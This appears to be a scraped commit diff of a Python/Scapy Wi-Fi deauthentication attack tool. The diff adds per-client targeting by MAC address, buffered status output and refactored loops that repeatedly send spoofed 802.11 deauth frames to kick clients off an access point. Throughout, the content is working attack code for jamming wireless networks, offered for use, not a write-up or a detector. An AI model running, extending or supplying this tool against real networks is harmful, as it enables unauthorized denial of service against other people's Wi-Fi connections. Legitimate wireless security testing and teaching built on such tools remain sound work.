3
3
import signal
4
4
import logging
5
5
import argparse
6
+ import threading
6
7
7
8
logging .getLogger ("scapy.runtime" ).setLevel (logging .ERROR ) # suppress warnings
8
9
32
33
class Interceptor :
33
34
_ABORT = False
34
35
35
- def __init__ (self , net_iface , skip_monitor_mode_setup , kill_networkmanager , bssid_name , custom_channels ):
36
+ def __init__ (self , net_iface , skip_monitor_mode_setup , kill_networkmanager ,
37
+ bssid_name , custom_client_macs , custom_channels ):
36
38
self .interface = net_iface
37
39
self ._channel_sniff_timeout = 2
38
40
self ._scan_intv = 0.1
@@ -65,9 +67,13 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
65
67
self ._all_ssids : Dict [BandType , Dict [str , SSID ]] = {band : dict () for band in BandType }
66
68
67
69
self ._custom_bssid_name : Union [str , None ] = self .parse_custom_bssid_name (bssid_name )
70
+ self ._custom_target_client_mac : Union [List [str ], None ] = self .parse_custom_client_mac (custom_client_macs )
68
71
self ._custom_bssid_channels : List [int ] = self .parse_custom_channels (custom_channels )
69
72
self ._custom_bssid_last_ch = 0 # to avoid overlapping
70
73
74
+ self ._midrun_output_buffer : List [str ] = list ()
75
+ self ._midrun_output_lck = threading .RLock ()
76
+
71
77
@staticmethod
72
78
def parse_custom_bssid_name (bssid_name : Union [None , str ]) -> Union [None , str ]:
73
79
if bssid_name is not None :
@@ -77,6 +83,28 @@ def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
77
83
raise Exception ("Invalid BSSID name" )
78
84
return bssid_name
79
85
86
+ @staticmethod
87
+ def verify_mac_addr (mac_addr : str ) -> str :
88
+ try :
89
+ RandMAC (mac_addr )
90
+ return mac_addr
91
+ except Exception as exc :
92
+ print_error (f"Invalid custom client mac address -> { mac_addr } " )
93
+ raise Exception ("Bad custom client mac address" )
94
+
95
+ @staticmethod
96
+ def parse_custom_client_mac (client_mac_addrs : Union [None , str ]) -> List [str ]:
97
+ custom_client_mac_list = list ()
98
+ if client_mac_addrs is not None :
99
+ custom_client_mac_list = [Interceptor .verify_mac_addr (mac ) for mac in client_mac_addrs .split (',' )]
100
+
101
+ if custom_client_mac_list :
102
+ print_info (f"Disabling broadcast deauth, attacking custom clients instead: { custom_client_mac_list } " )
103
+ else :
104
+ print_info (f"No custom clients selected, enabling broadcast deauth and attacking all connected clients" )
105
+
106
+ return custom_client_mac_list
107
+
80
108
def parse_custom_channels (self , channel_list : Union [None , str ]):
81
109
ch_list = list ()
82
110
if channel_list is not None :
@@ -101,6 +129,7 @@ def _enable_monitor_mode(self):
101
129
f"sudo ip link set { self .interface } up" ]:
102
130
print_cmd (f"Running command -> '{ BOLD } { cmd } { RESET } '" )
103
131
if os .system (cmd ):
132
+ os .system (f"sudo ip link set { self .interface } up" ) # re-enable iface if needed
104
133
return False
105
134
return True
106
135
@@ -215,11 +244,26 @@ def _clients_sniff_cb(self, pkt):
215
244
ap_mac = str (pkt .addr3 )
216
245
if ap_mac == self .target_ssid .mac_addr :
217
246
c_mac = pkt .addr1
218
- if c_mac != BD_MACADDR and c_mac not in self .target_ssid .clients :
247
+ if c_mac not in [ BD_MACADDR , self . target_ssid . mac_addr ] and c_mac not in self .target_ssid .clients :
219
248
self .target_ssid .clients .append (c_mac )
249
+ add_to_target_list = len (self ._custom_target_client_mac ) == 0 or c_mac in self ._custom_target_client_mac
250
+ with self ._midrun_output_lck :
251
+ self ._midrun_output_buffer .append (f"Found new client { BOLD } { c_mac } { RESET } ,"
252
+ f" adding to target list -> "
253
+ f"{ GREEN if add_to_target_list else RED } { add_to_target_list } { RESET } " )
220
254
except :
221
255
pass
222
256
257
+ def _print_midrun_output (self ):
258
+ bf_sz = len (self ._midrun_output_buffer )
259
+ with self ._midrun_output_lck :
260
+ for output in self ._midrun_output_buffer :
261
+ print_cmd (output )
262
+ if bf_sz > 0 :
263
+ printf (DELIM , end = "\n " )
264
+ bf_sz += 1
265
+ return bf_sz
266
+
223
267
@staticmethod
224
268
def _packet_confirms_client (pkt ):
225
269
return (pkt .haslayer (Dot11AssoResp ) and pkt [Dot11AssoResp ].status == 0 ) or \
@@ -230,57 +274,67 @@ def _listen_for_clients(self):
230
274
print_info (f"Setting up a listener for new clients..." )
231
275
sniff (prn = self ._clients_sniff_cb , iface = self .interface , stop_filter = lambda p : Interceptor ._ABORT is True )
232
276
277
+ def _get_target_clients (self ) -> List [str ]:
278
+ return self ._custom_target_client_mac or self .target_ssid .clients
279
+
233
280
def _run_deauther (self ):
234
281
try :
235
282
print_info (f"Starting de-auth loop..." )
236
283
237
284
ap_mac = self .target_ssid .mac_addr
238
-
239
- rd_frm = RadioTap ()
240
- deauth_frm = Dot11Deauth (reason = 7 )
241
285
while not Interceptor ._ABORT :
242
286
self .attack_loop_count += 1
243
- sendp (rd_frm /
244
- Dot11 (addr1 = BD_MACADDR , addr2 = ap_mac , addr3 = ap_mac ) /
245
- deauth_frm ,
246
- iface = self .interface )
247
- for client_mac in self .target_ssid .clients :
248
- sendp (rd_frm /
249
- Dot11 (addr1 = client_mac , addr2 = ap_mac , addr3 = ap_mac ) /
250
- deauth_frm ,
251
- iface = self .interface )
252
- sendp (rd_frm /
253
- Dot11 (addr1 = ap_mac , addr2 = ap_mac , addr3 = client_mac ) /
254
- deauth_frm ,
255
- iface = self .interface )
287
+ for client_mac in self ._get_target_clients ():
288
+ self ._send_deauth_client (ap_mac , client_mac )
289
+ if not self ._custom_target_client_mac :
290
+ self ._send_deauth_broadcast (ap_mac )
256
291
sleep (self ._deauth_intv )
257
292
except Exception as exc :
258
293
print_error (f"Exception in deauth-loop -> { traceback .format_exc ()} " )
259
294
Interceptor ._ABORT = True
260
295
exit (0 )
261
296
297
+ def _send_deauth_client (self , ap_mac : str , client_mac : str ):
298
+ sendp (RadioTap () /
299
+ Dot11 (addr1 = client_mac , addr2 = ap_mac , addr3 = ap_mac ) /
300
+ Dot11Deauth (reason = 7 ),
301
+ iface = self .interface )
302
+ sendp (RadioTap () /
303
+ Dot11 (addr1 = ap_mac , addr2 = ap_mac , addr3 = client_mac ) /
304
+ Dot11Deauth (reason = 7 ),
305
+ iface = self .interface )
306
+
307
+ def _send_deauth_broadcast (self , ap_mac : str ):
308
+ sendp (RadioTap () /
309
+ Dot11 (addr1 = BD_MACADDR , addr2 = ap_mac , addr3 = ap_mac ) /
310
+ Dot11Deauth (reason = 7 ),
311
+ iface = self .interface )
312
+
262
313
def run (self ):
263
314
self .target_ssid = self ._start_initial_ap_scan ()
264
315
ssid_ch = self .target_ssid .channel
265
316
print_info (f"Attacking target { self .target_ssid .name } " )
266
317
print_info (f"Setting channel -> { ssid_ch } " )
267
318
self ._set_channel (ssid_ch )
268
319
320
+ printf (f"{ DELIM } \n " )
269
321
for action in [self ._run_deauther , self ._listen_for_clients ]:
270
322
t = Thread (target = action , args = tuple (), daemon = True )
271
323
t .start ()
272
324
273
- printf (f"{ DELIM } \n " )
274
325
start = get_time ()
326
+ printf (f"{ DELIM } \n " )
327
+
275
328
while not Interceptor ._ABORT :
329
+ buffer_sz = self ._print_midrun_output ()
276
330
print_info (f"Target SSID{ self .target_ssid .name .rjust (80 - 15 , ' ' )} " )
277
331
print_info (f"Channel{ str (ssid_ch ).rjust (80 - 11 , ' ' )} " )
278
332
print_info (f"MAC addr{ self .target_ssid .mac_addr .rjust (80 - 12 , ' ' )} " )
279
333
print_info (f"Net interface{ self .interface .rjust (80 - 17 , ' ' )} " )
280
- print_info (f"Confirmed clients{ BOLD } { str (len (self .target_ssid . clients )) .rjust (80 - 21 , ' ' )} { RESET } " )
334
+ print_info (f"Target clients{ BOLD } { str (len (self ._get_target_clients ())) .rjust (80 - 18 , ' ' )} { RESET } " )
281
335
print_info (f"Elapsed sec { BOLD } { str (get_time () - start ).rjust (80 - 16 , ' ' )} { RESET } " )
282
336
sleep (self ._printf_res_intv )
283
- clear_line (7 )
337
+ clear_line (7 + buffer_sz )
284
338
285
339
@staticmethod
286
340
def user_abort (* args ):
@@ -315,7 +369,10 @@ def main():
315
369
action = 'store_true' , default = False , dest = "kill_networkmanager" , required = False )
316
370
parser .add_argument ('-b' , '--bssid' , help = 'custom BSSID name (case-sensitive)' , metavar = "bssid_name" ,
317
371
action = 'store' , default = None , dest = "custom_bssid" , required = False )
318
- parser .add_argument ('-c' , '--channels' , help = 'custom channels to scan, separated by a comma (i.e -> 1,3,4)' ,
372
+ parser .add_argument ('-cm' , '--clients' , help = 'MAC addresses of target clients to disconnect,'
373
+ ' separated by a comma (i.e -> 00:1A:2B:3C:4D:5G,00:1a:2b:3c:4d:5e)' , metavar = "client_mac_addrs" ,
374
+ action = 'store' , default = None , dest = "custom_client_macs" , required = False )
375
+ parser .add_argument ('-ch' , '--channels' , help = 'custom channels to scan, separated by a comma (i.e -> 1,3,4)' ,
319
376
metavar = "ch1,ch2" , action = 'store' , default = None , dest = "custom_channels" , required = False )
320
377
pargs = parser .parse_args ()
321
378
@@ -324,6 +381,7 @@ def main():
324
381
skip_monitor_mode_setup = pargs .skip_monitormode ,
325
382
kill_networkmanager = pargs .kill_networkmanager ,
326
383
bssid_name = pargs .custom_bssid ,
384
+ custom_client_macs = pargs .custom_client_macs ,
327
385
custom_channels = pargs .custom_channels )
328
386
attacker .run ()
329
387
0 commit comments